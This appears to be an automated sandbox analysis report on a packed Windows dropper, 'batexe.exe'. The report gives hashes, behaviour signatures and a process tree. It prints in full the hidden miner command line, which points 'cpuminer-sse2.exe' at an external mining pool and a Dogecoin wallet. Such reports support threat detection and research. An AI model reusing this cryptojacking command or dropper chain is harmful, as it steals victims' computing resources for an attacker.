73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
300s
max time network
302s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18-02-2024 09:59

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
988	b2e.exe
4448	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4448	cpuminer-sse2.exe
4448	cpuminer-sse2.exe
4448	cpuminer-sse2.exe
4448	cpuminer-sse2.exe
4448	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3044-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3044 wrote to memory of 988	3044	batexe.exe	73
PID 3044 wrote to memory of 988	3044	batexe.exe	73
PID 3044 wrote to memory of 988	3044	batexe.exe	73
PID 988 wrote to memory of 4980	988	b2e.exe	76
PID 988 wrote to memory of 4980	988	b2e.exe	76
PID 988 wrote to memory of 4980	988	b2e.exe	76
PID 4980 wrote to memory of 4448	4980	cmd.exe	77
PID 4980 wrote to memory of 4448	4980	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3044
- C:\Users\Admin\AppData\Local\Temp\A170.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A170.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A170.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:988
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A6A0.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4980
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A170.tmp\b2e.exe

Filesize
7.1MB

MD5
4f73b8787f044d0ae98e888f67d54497

SHA1
458295840660ac689abf1d99a903dc8e4b97b1e6

SHA256
bb8e82012006aac9584f55edd99711527ca666a77db6778eaf4c02977e700b8e

SHA512
62f2cb0b3fb366412a2405f05ef1a071896bf0c76f1008efd5f6a533bce8f1f9f640d428cf9ae529f9ac55f591745510c7ff959d4ff84e38445fb896181b8bba

Download Submit
C:\Users\Admin\AppData\Local\Temp\A170.tmp\b2e.exe

Filesize
9.8MB

MD5
09e18107b38b429d4ac688386ba7b843

SHA1
a93c2087c4a4acb52bbfce7f2d9fae7994d3d60d

SHA256
c686da9cf666cf0569aa953787e64f7fec891a733d202dcd45d6736968dbadac

SHA512
982aa29bf463f82c50dbd88f90111918df742499716b2f75d03cef6b7ba3aef50d70ad225c6b62490643f2a49fa225744010cfc26ab0a449cc1b7b3577f8faa9

Download Submit
C:\Users\Admin\AppData\Local\Temp\A6A0.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.0MB

MD5
f760e7904e988155a0beb93823d901c7

SHA1
a759c2ed793ebc4c8d28200a0285db0bd60d9066

SHA256
8d9e651401ce1a4c304ece3c8420e9a4bd9794911094426ab07b6f3320837ca5

SHA512
2cb7ba9287fc140cac0e5c18a20c4ee9e464b36c014b54dd4434a0b067bbc0a78568fe4a7bca9dc1cadfe83a9171c9aa3ffd0b23930e3d0d0b5c5d1c12e53608

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.0MB

MD5
5e50d5ad8ad0be018b4e62991f2055ef

SHA1
a05d7c5c3cdf219b706e7611bccd2cf09c04fe30

SHA256
d14a945fdeee8aa6cffd08a512c7d9b63965223bd2a9bc7165875997e7eeebe5

SHA512
a3a019dae48ac125d44ca9bded52e38df411ab7a7bfd7ea4a19fdc56a3da18c6996837cde9be15c70dc214bcf87e3039fb8b03b481faafdf49445a58261c52e0

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.8MB

MD5
8db53d33b47a5bcf18fbde1e813d43e6

SHA1
67c2922311fb548a1114334f462b248a778eaedc

SHA256
0d0e4253f6fd87051d15c3df6ad4243ceaa4a2c25f884ff7b5912fd660551a01

SHA512
e910c8fc94bee6de9b85ac7adc84212b11f8ed2bf7bccc5949364cd0e372346c55159a24ee1f2c10b2edecbba58aa08f3688cf2853f222a2a5ed1e2550001d13

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/988-55-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/988-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3044-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4448-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4448-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4448-42-0x000000005F240000-0x000000005F2D8000-memory.dmp

Filesize
608KB

Download
memory/4448-44-0x0000000001160000-0x0000000002A15000-memory.dmp

Filesize
24.7MB

Download
memory/4448-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4448-50-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4448-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4448-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4448-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4448-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4448-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4448-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4448-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4448-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download